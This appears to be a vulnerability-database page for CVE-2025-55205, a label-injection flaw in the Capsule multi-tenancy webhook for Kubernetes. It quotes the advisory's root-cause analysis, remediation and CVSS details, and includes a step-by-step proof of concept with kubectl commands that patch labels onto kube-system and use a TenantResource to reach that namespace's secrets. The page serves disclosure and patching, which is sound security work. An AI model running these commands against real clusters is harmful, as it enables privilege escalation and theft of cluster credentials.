CVE-2025-55205 — Vulnerability in projectcapsule/capsule — CVE Details
Capsule tenant owners with "patch namespace" permission can hijack system namespaces label
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.60%). Schedule for your next planned update.
Does your project use an affected github.com/projectcapsule/capsule version?
Paste your go.sum to check it for CVE-2025-55205 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
A namespace label injection vulnerability in Capsule v0.10.3 allows authenticated tenant users to inject arbitrary labels into system namespaces (kube-system, default, capsule-system), bypassing multi-tenant isolation and potentially accessing cross-tenant resources through TenantResource selectors. This vulnerability enables privilege escalation and violates the fundamental security boundaries that Capsule is designed to enforce.
Details
The vulnerability exists in the namespace validation webhook logic located in pkg/webhook/namespace/validation/patch.go:60-77. The critical flaw is in the conditional check that only validates tenant ownership when a namespace already has a tenant label:
if label, ok := ns.Labels[ln]; ok {
// Only checks permissions when namespace has tenant label
if !utils.IsTenantOwner(tnt.Spec.Owners, req.UserInfo) {
response := admission.Denied(e)
return &response
}
}
return nil // Critical issue: allows operation if no tenant label exists
Root Cause Analysis:
- Missing Default Protection: System namespaces (kube-system, default, capsule-system) do not have the
capsule.clastix.io/tenantlabel by default - Bypass Logic: The webhook only enforces tenant ownership validation when the target namespace already belongs to a tenant
- Unrestricted Label Injection: Authenticated users can inject arbitrary labels into unprotected namespaces
Attack Vector Path:
Label Injection (user-controlled) → Namespace Selector (system matching) → TenantResource/Quota Check (authorization bypass) → Cross-tenant Resource Access
This mirrors the CVE-2024-39690 attack pattern but uses label injection instead of ownerReference manipulation:
- CVE-2024-39690:
ownerReference(user-controlled) → tenant.Status.Namespaces(system state) → quota/permission check(auth policy) → namespace hijacking - This vulnerability:
Label injection(user-controlled) → Namespace selector(system matching) → TenantResource/Quota check(auth policy) → cross-tenant resource access
PoC
Prerequisites:
- Minikube cluster with Capsule v0.10.3 installed
- Authenticated tenant user with basic RBAC permissions
Step 1: Environment Setup
# Install Minikube and Capsule
minikube start
helm repo add projectcapsule https://projectcapsule.github.io/charts
helm install capsule projectcapsule/capsule -n capsule-system --create-namespace
# Create tenant and user
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
name: tenant1
spec:
owners:
- name: alice
kind: User
EOF
# Create user certificate and kubeconfig (using provided script)
./create-user-minikube.sh alice tenant1
Step 2: Label Injection Attack
# Switch to attacker context
export KUBECONFIG=alice-tenant1.kubeconfig
# Inject malicious labels into system namespaces
kubectl patch namespace kube-system --type='json' -p='[
{
"op": "add",
"path": "/metadata/labels/malicious-label",
"value": "attack-value"
}
]'
# Verify injection success
kubectl get namespace kube-system --show-labels
Step 3: Exploitation via TenantResource
# Create attacker-controlled namespace
kubectl create namespace alice-attack
# Create malicious TenantResource targeting injected labels
cat <<EOF | kubectl apply -f -
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
name: malicious-resource
namespace: alice-attack
spec:
resyncPeriod: 60s
resources:
- namespaceSelector:
matchLabels:
malicious-label: "attack-value"
EOF
# Verify cross-tenant access
kubectl get tenantresource -n alice-attack malicious-resource -o yaml
Step 4: Verification of Impact
# Check if system namespace resources are now accessible
export KUBECONFIG=~/.kube/config
kubectl get namespaces -l "malicious-label=attack-value"
# Output shows: kube-system (and potentially other injected namespaces)
# Check for potential resource replication/access
kubectl get all -n kube-system
kubectl get secrets -n kube-system
kubectl get configmaps -n kube-system
Automated Testing Script: A complete vulnerability verification script is available that tests:
- Label injection into multiple system namespaces
- TenantResource exploitation
- Cross-tenant resource access verification
- Impact assessment and cleanup
Impact
Vulnerability Type: Authorization Bypass / Privilege Escalation
Who is Impacted:
- Multi-tenant Kubernetes clusters using Capsule v0.10.3 and potentially earlier versions
- Organizations relying on Capsule for tenant isolation and resource governance
- Cloud service providers offering Kubernetes-as-a-Service with Capsule-based multi-tenancy
Security Impact:
- Multi-tenant Isolation Bypass: Attackers can access resources from other tenants or system namespaces
- Privilege Escalation: Tenant users can gain access to cluster-wide resources and sensitive system components
- Data Exfiltration: Potential access to secrets, configmaps, and other sensitive data in system namespaces
- Resource Quota Bypass: Ability to consume resources outside assigned tenant boundaries
- Policy Circumvention: Bypass network policies, security policies, and other tenant-level restrictions
Real-world Exploitation Scenarios:
- Access to kube-system secrets containing cluster certificates and service account tokens
- Modification or replication of critical system configurations
- Cross-tenant data access in shared clusters
- Potential cluster-wide compromise through system namespace access
Severity: High - This vulnerability fundamentally breaks the multi-tenant security model that Capsule is designed to provide, allowing authenticated users to escape their tenant boundaries and access system-level resources.
Advisory Timeline
- First published August 18, 2025 (465 days ago).
- Last revised August 29, 2025 — 11 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
go get github.com/projectcapsule/capsule@v0.10.4
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: Go (1).
| Package | Fixed In |
|---|---|
| github.com/projectcapsule/capsule Go · Affected: All versions | 0.10.4 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-863Incorrect AuthorizationMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.0 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
References
- https://github.com/projectcapsule/capsule/security/advisories/GHSA-fcpm-6mxq-m5vvWEB
- https://nvd.nist.gov/vuln/detail/CVE-2025-55205ADVISORY
- https://github.com/projectcapsule/capsule/commit/e1f47feade6e1695b2204407607d07c3b3994f6eWEB
- https://github.com/projectcapsule/capsulePACKAGE
- https://pkg.go.dev/vuln/GO-2025-3893WEB
Frequently Asked Questions
- What is CVE-2025-55205?
- Capsule tenant owners with "patch namespace" permission can hijack system namespaces label. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.0/10).
- How do I check if my project is affected by CVE-2025-55205?
- CVE-2025-55205 affects github.com/projectcapsule/capsule. It has a 0.6% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-55205 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is a below-median EPSS score — only 42.5% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-104099CRITICAL
Fabio: Access-control bypass through unnormalized request paths
- CVE-2023-48312CRITICAL
Capsule Proxy Authentication bypass using an empty token
- CVE-2026-77369CRITICAL
Daptin: Broken Access Control (IDOR) in the generic YJS collaboration endpoint